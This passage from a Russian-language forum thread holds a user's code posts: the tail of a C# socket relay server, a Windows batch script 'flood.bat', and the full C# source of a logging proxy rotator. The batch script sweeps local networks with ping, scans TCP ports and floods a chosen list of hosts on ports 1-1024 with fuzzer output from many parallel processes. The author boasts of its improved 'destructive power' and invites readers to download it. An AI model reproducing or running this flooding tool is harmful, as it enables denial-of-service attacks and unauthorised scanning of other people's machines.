            bind.ReceiveTimeout = CONNECTTIMEOUTMS;
            bind.SendTimeout = CONNECTTIMEOUTMS;

            while (true)
                try
                {
                    data = null;
                    try { data = bind.Accept(); } catch { }
                    if (data == null) continue;
                    bool overflow = false;
                    lock (clients_lock) { if (clients.Count >= MAXCLIENTS) overflow = true; }
                    if (overflow)
                    {
                        try { data.Shutdown(SocketShutdown.Both); } catch { }
                        try { data.Close(); } catch { }
                        continue;
                    }
                    data.ReceiveTimeout = RWTIMEOUTMS;
                    data.SendTimeout = RWTIMEOUTMS;

                    Task.Run(SocketReader);
                    _data_socket.WaitOne();
                }
                catch { }
        }

        static List<Socket> clients = new List<Socket>();

        static object clients_lock = new object();

        static async Task SocketReader()
        {            
            Socket DataSocket = data;
            _data_socket.Release();

            try
            {
                Stream fs = Console.OpenStandardOutput();

                lock (clients_lock) clients.Add(DataSocket);

                byte[] buf = new byte[8192];

                do
                {
                    int r = 0;

                    if (DataSocket.Available > 0) r = DataSocket.Receive(buf);

                    if (r < 0) break;
                    else
                    {
                        byte[] sbuf = new byte[r];

                        for (int i = 0; i < r; i++) sbuf[i] = buf[i];

                        try
                        {
                            fs.Write(buf, 0, r);
                            fs.Flush();
                        }
                        catch { }

                        lock (clients_lock)
                        {
                            for (int i = 0; i < clients.Count; i++)
                    if (clients[i] != DataSocket)
                    try { clients[i].Send(sbuf); } catch { }
                        }
                    }
                } while (true);

                fs.Close();
            }
            catch { }

            try { DataSocket.Shutdown(SocketShutdown.Both); } catch { }
            try { DataSocket.Close(); } catch { }
            
            lock(clients_lock) {
                for (int i = 0; i < clients.Count; i++) if (clients[i] == DataSocket)
                    { clients.RemoveAt(i); break; }
            }            
        }
    }
}


Также, я сократил размеры flood.bat в 5 раз, используя подпрограммы и циклы вместо копирования и вставок кода, и улучшил его поражающую способность. Исходники ниже.

Код
@echo off

if "%1" == "--ping" goto Ping
if "%1" == "--ping2" goto Ping2
if "%1" == "--scan" goto Scan
if "%1" == "--scanall" goto Scanall
if "%1" == "--crashport" goto Crashport
if "%1" == "--crashall" goto Crashall

echo FLOOD.BAT: flood host with generator's garbage to ports 1-1024 or a given port
echo USAGE:
echo flood --ping 192.168.1                   find hosts on local net and shows their names and IP addresses
echo flood --ping2 192.168                    find hosts on local net level 2 and shows their names and IP addresses
echo flood --scan host                        scan open root tcp ports on given host
echo flood --scanall host                     scan all open tcp ports on given host
echo flood --crashport phrase.exe 80 host1... host6     flood port 80 on set of hosts with fuzzer phrase.exe
echo flood --crashall phrase.exe host1... host6         flood ports 1-1024 with phrase.exe generator
goto exit_me

:Crashport

if not "%4" == "" call :Sendphrase %2 %4 %3
if not "%5" == "" call :Sendphrase %2 %5 %3
if not "%6" == "" call :Sendphrase %2 %6 %3
if not "%7" == "" call :Sendphrase %2 %7 %3
if not "%8" == "" call :Sendphrase %2 %8 %3
if not "%9" == "" call :Sendphrase %2 %9 %3

goto Crashport

:Crashall

for /L %%P in (1, 1, 1024) do (

if not "%3" == "" call :Sendphrase %2 %3 %%P
if not "%4" == "" call :Sendphrase %2 %4 %%P
if not "%5" == "" call :Sendphrase %2 %5 %%P
if not "%6" == "" call :Sendphrase %2 %6 %%P
if not "%7" == "" call :Sendphrase %2 %7 %%P
if not "%8" == "" call :Sendphrase %2 %8 %%P
if not "%9" == "" call :Sendphrase %2 %9 %%P
)
goto Crashall

:Ping
for /L %%Q in (0, 1, 255) do (
    ping -n 1 -w 20 %2.%%Q | find "TTL" >_1_%2%%Q
    if not errorlevel 1 nslookup %2.%%Q
    del _1_%2%%Q
)
goto exit_me

:Ping2
for /L %%Q in (0, 1, 255) do (
    for /L %%R in (0, 1, 255) do (
  ping -n 1 -w 20 %2.%%Q.%%R | find "TTL" >_1_%2.%%Q%%R
  if not errorlevel 1 nslookup %2.%%Q.%%R
  del _1_%2.%%Q%%R
    )
)
goto exit_me

:Scan
for /L %%Q in (1, 1, 1024) do (
    echo GET|pipesend %2 %%Q | find "ok" >_1_%2%%Q
    if not errorlevel 1 echo %%Q open tcp
    del _1_%2%%Q
)
goto exit_me

:Scanall
for /L %%Q in (1, 1, 65535) do (
    echo GET|pipesend %2 %%Q | find "ok" >_1_%2.%%Q
    if not errorlevel 1 echo %%Q open tcp
    del _1_%2.%%Q
)
goto exit_me

:Sendphrase
echo Crash %2 %3 unicode
for /l %%m in (1, 1, 23) do start /b %1|pipesend %2 %3
echo Crash %2 %3 ascii
for /l %%m in (1, 1, 23) do start /b %1 -a|pipesend %2 %3
timeout /t 3
exit /b
  
:exit_me


Последняя раздача бинарников и исходников по тексту вверх обновлена на эти две последних версии. Качайте!



Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Сообщение отредактировал(а) Talomir - Воскресенье, 04.08.2024, 15:02
Статус: нет меня
 
Talomir #420 | Воскресенье, 04.08.2024, 23:15
Автор темы
Immortal
На вязках
Юзер-бар +
РОТАТОР ПРОКСЕЙ И ЛОГГЕР ПРОТОКОЛОВ САЙТОВ


Ротатор проксей является посредником между браузером и прокси-серверами. Он переключает браузер на следующий прокси раз в 2 минуты, так что трафик сложно отслеживать, понимать и перехватывать, что улучшает анонимность и безопасность в интернете. Одна из замен VPN.

Протоколирующий ротатор при этом пишет обмен между браузером и сайтов в текстовый файл, если сайт поддерживает протокол HTTP j можно по протоколу разобрать логику работы сайта, записав сеанс работы с сайтом в файл и тщательно прочитав его. Это не работает с HTTPS сайтами.

Сегодня я за пару часов написал, на имеющихся кусках кода из разных проектов, свой ротатор проксей, протоколирующий. запускается он как C:>logproxy log.txt 8888 127.0.0.1 тут 8888 это порт для прокси-поля браузера, а 127.0.0.1 это адрес прокси-поля для браузера.

logproxy ожидает подключения от браузера, дампит запрос в файл, подбирает хороший прокси через API и посылает данные запроса на удалённый настоящий прокси. И - дампит ответ удалённой машины. То есть он располагается между браузером и прокси-сервером, и раз в 2 минуты менят прокси на новый. Так весь трафик меняет маршруты для неотслеживаемости а HTTP сайты можно анализировать по протоколу зайдя на них через http://

Исходники проекта logproxy

Program.cs
Код
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.Net.Sockets;
using System.Threading;

namespace logproxy
{
    class Program
    {
        static int listen_port = 8888;
        static Log log = null;

        static Semaphore _bind_socket = new Semaphore(0, 1);
        static Semaphore _data_socket = new Semaphore(0, 1);
        static Socket BindSocket = null;
        static Socket data = null;
        static int clients = 0;

        const int MAXCLIENTS = 512;

        static void Main(string[] args)
        {
            if (args.Length == 0 || args[0].Equals("-h") || args[0].Equals("--help"))
            {
                Console.WriteLine("HTTP proxy rotator and logger for the protocol analyses, v1.0");
                Console.WriteLine("USAGE: logproxy file.txt listen_port bind_ip1 bind_ip2...");
                return;
            }

            try { listen_port = Int32.Parse(args[1]); } catch { }

            log = new Log(args[0]);

            List<Task> list = new List<Task>();

            for (int i = 2; i < args.Length; i++)
                try
                {
                    IPAddress addr = Dns.GetHostAddresses(args[i])[0];
                    BindSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                    BindSocket.Bind(new IPEndPoint(addr, listen_port));
                    BindSocket.Listen(1000);
                    list.Add(Task.Run(Accepter));
                    _bind_socket.WaitOne();
                }
                catch { }

            Task.WaitAll(list.ToArray<Task>());
            log.Close();
        }

        static async Task Accepter()
        {
            Socket bind = BindSocket;
            _bind_socket.Release();

            bind.ReceiveTimeout = Browser.RWTIMEOUTMS;
            bind.SendTimeout = Browser.RWTIMEOUTMS;

            while (true)
                try
                {
                    data = null;
                    try { data = bind.Accept(); } catch { }
                    if (data == null) continue;
                    if (clients++ >= MAXCLIENTS)
                    {
                        try { data.Shutdown(SocketShutdown.Both); } catch { }
                        try { data.Close(); } catch { }
                        clients--;
                        continue;
                    }

                    Console.WriteLine("accepted new connection!");

                    Task.Run(SocketReader);
                    _data_socket.WaitOne();
                }
                catch { }
        }
        static async Task SocketReader()
        {
            Socket DataSocket = data;
            _data_socket.Release();

            Browser browser = new Browser(DataSocket);
            Proxy proxy = new Proxy();

            proxy.Connect();

            byte[] buf = new byte[8192];

            int r = 0;

            do
            {
                do
                {
                    r = browser.Receive(buf);

                    if (r > 0)
                    {
                        Console.WriteLine("received " + r + " bytes from browser");
                        log.Write(Buffer.Cut(buf, r), "browser asks");
                    }

                    if (proxy.Send(Buffer.Cut(buf, r)) < 1 && r > 0) goto ProxyFail;

                } while (r > 0);

                do
                {
                    r = proxy.Receive(buf);

                    if (r > 0)
                    {
                        Console.WriteLine("received " + r + " bytes from proxy");
                        log.Write(Buffer.Cut(buf, r), "site answers");
                    }

                    if (browser.Send(Buffer.Cut(buf, r)) < 1 && r > 0) goto BrowserFail;

                } while (r > 0);

            } while (true);

        ProxyFail:
        BrowserFail:

            browser.Close();
            proxy.Close();            

            clients--;
        }
    }
}


Browser.cs
Код
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.Net.Sockets;

namespace logproxy
{
    internal class Browser
    {
        internal static int RWTIMEOUTMS = 300;

        protected Socket sok = null;
        internal Browser(Socket data)
        {
            sok = data;
        }

        internal int Receive(byte[] buffer)
        {
            try
            {
                sok.ReceiveTimeout = RWTIMEOUTMS;

                return sok.Receive(buffer);

            } catch { return 0; }
        }

        internal int Send(byte[] buffer)
        {
            try
            {
                sok.SendTimeout = RWTIMEOUTMS;

                return sok.Send(buffer);

            } catch { return 0; }
        }

        internal void Close()
        {
            try { sok.Shutdown(SocketShutdown.Both); } catch { }
            try { sok.Close(); } catch { }
        }
    }
}


Proxy.cs
Код
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.Net.Sockets;
using System.IO;

namespace logproxy
{
    internal class Proxy
    {
        static int RWTIMEOUTMS = 300;
        static int CONNECTTIMEOUTMS = 400;

        protected Socket sok = null;
        internal Proxy()
        {
            ProxyList = GetList();
        }
        internal int Send(byte[] buffer)
        {
            try
            {
                if (sok == null) sok = Connect(GetNextGoodProxy());

                if (sok == null) return 0;

                sok.SendTimeout = RWTIMEOUTMS;

                return sok.Send(buffer);
            }
            catch { return 0; }
        }

        internal int Receive(byte[] buffer)
        {
            try
            {
                if (sok == null) sok = Connect(GetNextGoodProxy());

                if (sok == null) return 0;

                sok.ReceiveTimeout = RWTIMEOUTMS;

                return sok.Receive(buffer);
            }
            catch { return 0; }
        }

        internal bool Connect()
        {
            try
            {
                sok = Connect(GetNextGoodProxy());

                if (sok != null) return true;
            }
            catch { }

            return false;
        }

        internal void Close()
        {
            try { sok.Shutdown(SocketShutdown.Both); } catch { }
            try { sok.Close(); } catch { }
            sok = null;
        }

        protected Socket Connect(string proxy)
        {
            try
            {
                string host = proxy.Replace("http://", "").Replace("https://", "").Split(':')[0];
                int port = Int32.Parse(proxy.Replace("http://", "").Replace("https://", "").Split(':')[1]);

                IPAddress ip = Dns.GetHostAddresses(host)[0];

                Socket sok = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                sok.ReceiveTimeout = RWTIMEOUTMS;
                sok.SendTimeout = RWTIMEOUTMS;

                IAsyncResult result = sok.BeginConnect(ip, port, null, null);

                bool success = result.AsyncWaitHandle.WaitOne(CONNECTTIMEOUTMS, true);

                if (sok.Connected) return sok;

                try { sok.Shutdown(SocketShutdown.Both); } catch { }
                try { sok.Close(); } catch { }

            }
            catch { }

            return null;
        }

        static string last_good_proxy = "";
        static DateTime last_check_time = DateTime.Now;
        static object last_lock = new object();
        protected string GetNextGoodProxy(int maxtry = 50)
        {
            try
            {
                for (int i = 0; i < maxtry; i++)
                {
                    if (LastProxy.Length > 0) return LastProxy;

                    string proxy = GetNext;

                    Console.WriteLine("checking proxy " + proxy + "...");

                    if (CheckProxy(proxy, "http://www.microsoft.com")
                        && CheckProxy(proxy, "https://www.microsoft.com")
                        )
                    {
                        LastProxy = proxy;
                        return proxy;
                    }
                }
            }
            catch { }

            Console.WriteLine("error: no good proxy found");
            return "";
        }

        protected string LastProxy
        {
            get
            {
                lock (last_lock)
                {
                    if (DateTime.Now.Subtract(last_check_time).TotalMinutes <= 2
                        && last_good_proxy.Length > 0) return last_good_proxy;
                    else return "";
                }
            }
            set
            {
                lock (last_lock)
                {
                    last_good_proxy = value;
                    last_check_time = DateTime.Now;
                }
            }
        }

        protected bool CheckProxy(string proxy, string testurl = "http://www.microsoft.com")
        {
            try
            {
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(testurl);

                request.Timeout = 5000;
                request.Proxy = new WebProxy(proxy);

                HttpWebResponse response = (HttpWebResponse)request.GetResponse();

                string ResponseString = new StreamReader(response.GetResponseStream()).ReadToEnd();

                if (ResponseString.Length > 1024) return true;
            }
            catch { }

            return false;
        }

        protected List<string> ProxyList = new List<string>();
        protected int ListIndex = 0;

        public string GetNext
        {
            get
            {
                try
                {
                    if (ListIndex >= ProxyList.Count)
                    {
                        ProxyList = GetList();
                        ListIndex = 0;
                    }
                    string proxy = ProxyList[ListIndex++];

                    return proxy;

                }
                catch { return ""; }
            }
        }

        internal List<string> GetList()
        {
            try
            {
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=10000&country=all&ssl=all&anonymity=all");

                request.Timeout = 5000;
                request.Proxy = null;

                HttpWebResponse response = (HttpWebResponse)request.GetResponse();

                string ResponseString = new StreamReader(response.GetResponseStream()).ReadToEnd();

                string[] ar = ResponseString.Split('\n');

                List<string> res = new List<string>();

                foreach (string l in ar)
                    if (l.Trim('\r', '\n', '\t', ' ').Length > 0)
                        res.Add("http://" + l.Trim('\r', '\n', '\t', ' '));

                return res;
            }
            catch { return new List<string>(); }
        }

    }
}


Log.cs
Код
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;

namespace logproxy
{
    internal class Log
    {
        string filename = "log.txt";
        FileStream fs = null;
        object fs_lock = new object();
        internal Log(string filename, bool overrite = false)
        {
            try
            {
                this.filename = filename;
                if (overrite) File.WriteAllText(filename, "");

                fs = new FileStream(filename, FileMode.OpenOrCreate);
            }
            catch { }
        }

        internal void Close() { try { fs.Close(); } catch { } }

        internal bool Write (byte[] data, string Comment)
        {
            lock (fs_lock)
                try
                {
                    byte[] b = Encoding.ASCII.GetBytes("\r\n\r\n\r\n[ " + DateTime.Now+": " + Comment + " ]\r\n");
                    fs.Write(b, 0, b.Length);
                    fs.Write(data, 0, data.Length);
                    return true;
                } catch { return false; }
        }
    }
}



Бананы с сигарой, сигара со сметаной. Кофе с шиповником, с сигаретой - всплывшие, с сигарой - потонувшие. 15 километров пешком, тёплый душ. И слышно, как поют птицы https://pcixi.ru/forum/78-11690-1
Статус: нет меня
 
Поиск:

[ Новые сообщения на форуме ]



Форма входа